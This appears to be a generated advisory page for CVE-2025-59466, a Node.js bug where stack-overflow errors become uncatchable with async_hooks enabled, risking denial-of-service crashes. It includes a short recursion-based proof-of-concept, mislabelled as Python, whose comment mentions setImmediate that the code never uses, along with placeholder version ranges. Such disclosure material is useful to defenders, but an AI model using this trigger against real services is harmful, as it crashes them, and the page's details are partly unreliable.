Security Vulnerability Report
中文
CVE-2025-59466 CVSS 7.5 HIGH

CVE-2025-59466

Published: 2026-01-20 21:16:04
Last Modified: 2026-01-30 20:25:12

Description

We have identified a bug in Node.js error handling where "Maximum call stack size exceeded" errors become uncatchable when `async_hooks.createHook()` is enabled. Instead of reaching `process.on('uncaughtException')`, the process terminates, making the crash unrecoverable. Applications that rely on `AsyncLocalStorage` (v22, v20) or `async_hooks.createHook()` (v24, v22, v20) become vulnerable to denial-of-service crashes triggered by deep recursion under specific conditions.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:* - VULNERABLE
Node.js v20.x < 20.x.x (使用AsyncLocalStorage)
Node.js v22.x < 22.x.x (使用AsyncLocalStorage)
Node.js v24.x < 24.x.x (使用async_hooks.createHook())

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-59466 PoC - Node.js async_hooks.createHook() Stack Overflow // This PoC demonstrates how async_hooks prevents catching stack overflow errors const async_hooks = require('async_hooks'); // Enable async hooks (this is what makes the error uncatchable) const hook = async_hooks.createHook({ init(asyncId, type, triggerAsyncId, resource) {}, before(asyncId) {}, after(asyncId) {}, destroy(asyncId) {}, promiseResolve(asyncId) {} }); hook.enable(); // Set up uncaught exception handler process.on('uncaughtException', (err) => { console.log('[+] UncaughtException caught:', err.message); console.log('[+] This should be reachable but is NOT in vulnerable versions'); process.exit(0); }); // Function to trigger deep recursion function deepRecursion(counter) { if (counter <= 0) { return 'done'; } // Using setImmediate to create async context which interacts with async_hooks return deepRecursion(counter - 1); } console.log('[*] Triggering deep recursion with async_hooks enabled...'); console.log('[*] In vulnerable versions, process will terminate without calling uncaughtException'); try { deepRecursion(100000); } catch (e) { console.log('[-] Caught in try-catch:', e.message); } console.log('[*] If you see this message, the vulnerability is patched');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59466", "sourceIdentifier": "[email protected]", "published": "2026-01-20T21:16:04.110", "lastModified": "2026-01-30T20:25:11.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "We have identified a bug in Node.js error handling where \"Maximum call stack size exceeded\" errors become uncatchable when `async_hooks.createHook()` is enabled. Instead of reaching `process.on('uncaughtException')`, the process terminates, making the crash unrecoverable. Applications that rely on `AsyncLocalStorage` (v22, v20) or `async_hooks.createHook()` (v24, v22, v20) become vulnerable to denial-of-service crashes triggered by deep recursion under specific conditions."}, {"lang": "es", "value": "Hemos identificado un error en el manejo de errores de Node.js donde los errores 'Maximum call stack size exceeded' se vuelven inatrapables cuando `async_hooks.createHook()` está habilitado. En lugar de alcanzar `process.on('uncaughtException')`, el proceso termina, haciendo que el fallo sea irrecuperable. Las aplicaciones que dependen de `AsyncLocalStorage` (v22, v20) o `async_hooks.createHook()` (v24, v22, v20) se vuelven vulnerables a fallos de denegación de servicio provocados por recursión profunda bajo condiciones específicas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-248"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*", "versionStartIncluding": "20.0.0", "versionEndExcluding": "20.20.0", "matchCriteriaId": "A78B4AE9-C1B4-4DD0-9EDF-A3A60431B6DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*", "versionStartIncluding": "22.0.0", "versionEndExcluding": "22.22.0", "matchCriteriaId": "132A7510-B3E9-4F85-9B61-A834B12DD7D7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*", "versionStartIncluding": "24.0.0", "versionEndExcluding": "24.13.0", "matchCriteriaId": "A83233BD-D901-4A1A-A3AF-0DC3E76CD2C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*", "versionStartIncluding": "25.0.0", "versionEndExcluding": "25.3.0", "matchCriteriaId": "970EF154-D905-4FDA-85CB-C3AB08BEFAEC"}]}]}], "references": [{"url": "https://nodejs.org/en/blog/vulnerability/december-2025-security-releases", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}